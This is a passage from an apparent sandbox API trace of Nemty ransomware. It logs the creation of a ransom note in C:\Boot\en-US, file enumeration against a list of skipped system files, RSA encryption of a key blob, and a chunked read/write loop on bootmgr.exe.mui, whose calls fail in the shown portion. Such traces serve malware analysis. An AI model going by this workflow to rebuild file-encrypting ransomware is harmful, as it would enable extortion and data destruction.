CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0043.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0043.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0043.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0043.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0043.889] CreateFileW (lpFileName="C:\\Boot\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0043.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.891] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.891] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0043.892] CloseHandle (hObject=0x3c0) returned 1 [0043.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0043.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0043.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0043.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0043.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0043.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0043.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0043.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0043.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0043.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0043.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0043.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0043.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0043.893] CreateFileW (lpFileName="C:\\Boot\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0043.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.893] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.893] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0043.894] CloseHandle (hObject=0x3c0) returned 1 [0043.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0043.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0043.894] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcddb88d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcddb88d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0043.895] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0043.895] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcddb88d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcddb88d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.895] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0043.895] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0043.895] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0043.895] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0043.895] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0043.895] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="...") returned 1 [0043.895] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="windows") returned -1 [0043.895] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0043.895] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="rsa") returned -1 [0043.895] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="NTDETECT.COM") returned -1 [0043.895] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0043.895] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="MSDOS.SYS") returned -1 [0043.895] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="IO.SYS") returned -1 [0043.895] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0043.895] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0043.895] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0043.895] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0043.895] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0043.895] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="CONFIG.SYS") returned -1 [0043.895] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RECYCLER") returned -1 [0043.895] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="BOOTSECT.BAK") returned -1 [0043.895] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0043.896] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="programdata") returned -1 [0043.896] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="appdata") returned 1 [0043.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0043.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0043.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0043.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0043.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0043.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0043.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0043.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0043.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0043.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0043.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0043.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0043.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0043.896] Sleep (dwMilliseconds=0x5) [0043.912] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcde04b90, dwHighDateTime=0x1d561e7)) [0043.912] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcde04b90, dwHighDateTime=0x1d561e7)) [0043.912] GetLastError () returned 0xb7 [0043.912] SetLastError (dwErrCode=0xb7) [0043.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0043.912] GetLastError () returned 0xb7 [0043.912] SetLastError (dwErrCode=0xb7) [0043.912] GetLastError () returned 0xb7 [0043.912] SetLastError (dwErrCode=0xb7) [0043.912] GetLastError () returned 0xb7 [0043.912] SetLastError (dwErrCode=0xb7) [0043.912] GetLastError () returned 0xb7 [0043.912] SetLastError (dwErrCode=0xb7) [0043.912] GetLastError () returned 0xb7 [0043.912] SetLastError (dwErrCode=0xb7) [0043.912] GetLastError () returned 0xb7 [0043.912] SetLastError (dwErrCode=0xb7) [0043.912] GetLastError () returned 0xb7 [0043.913] SetLastError (dwErrCode=0xb7) [0043.913] GetLastError () returned 0xb7 [0043.913] SetLastError (dwErrCode=0xb7) [0043.913] GetLastError () returned 0xb7 [0043.913] SetLastError (dwErrCode=0xb7) [0043.913] GetLastError () returned 0xb7 [0043.913] SetLastError (dwErrCode=0xb7) [0043.913] GetLastError () returned 0xb7 [0043.913] SetLastError (dwErrCode=0xb7) [0043.913] GetLastError () returned 0xb7 [0043.913] SetLastError (dwErrCode=0xb7) [0043.913] GetLastError () returned 0xb7 [0043.913] SetLastError (dwErrCode=0xb7) [0043.913] GetLastError () returned 0xb7 [0043.913] SetLastError (dwErrCode=0xb7) [0043.913] GetLastError () returned 0xb7 [0043.913] SetLastError (dwErrCode=0xb7) [0043.913] GetLastError () returned 0xb7 [0043.913] SetLastError (dwErrCode=0xb7) [0043.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0043.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0043.913] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0043.914] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0043.914] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0043.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0043.914] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="3LylzG0Iyk3UTCnDlv9/LZaRuR4lDq2f5EIKeHpu+keXCMbpnI7Kw8QiO94PVgIc\r\nya/Udm8jD24G+LFwV4uN9FaZExartXg9uc7KLsKWV4AbHhHBX6LmJcGp2d5BYvRc\r\nBeSR1tPmlvxdEg4/idkNZXADB0jDuAejXRm2cTg+b4lDFGeYELiCswr+KEkX8i6J\r\ngxUrkc4vydi7SXX6G3ZagFuInD4appQlEid1Jk2uno33zUy+qIn0KLxHxtm3Q0Wg\r\npGWWMUR6dPTVjIPXWK9oFu3q5aSs1bf2l5ys6YBcmA0uF5HQKCsOgxj94RJz3EsG\r\nNKj+yyxcAv/29gdukvInEg==\r\n", pcchString=0x653f2dc) returned 1 [0043.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0043.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0043.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0043.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0043.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0043.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0043.914] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.914] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0043.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0043.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.914] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.924] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.924] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.933] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.934] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.943] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.943] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.953] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.953] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.963] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.963] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.963] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.963] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.973] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.973] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.983] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.983] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.993] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.993] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.002] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.003] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.013] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.013] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.019] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.019] WriteFile (in: 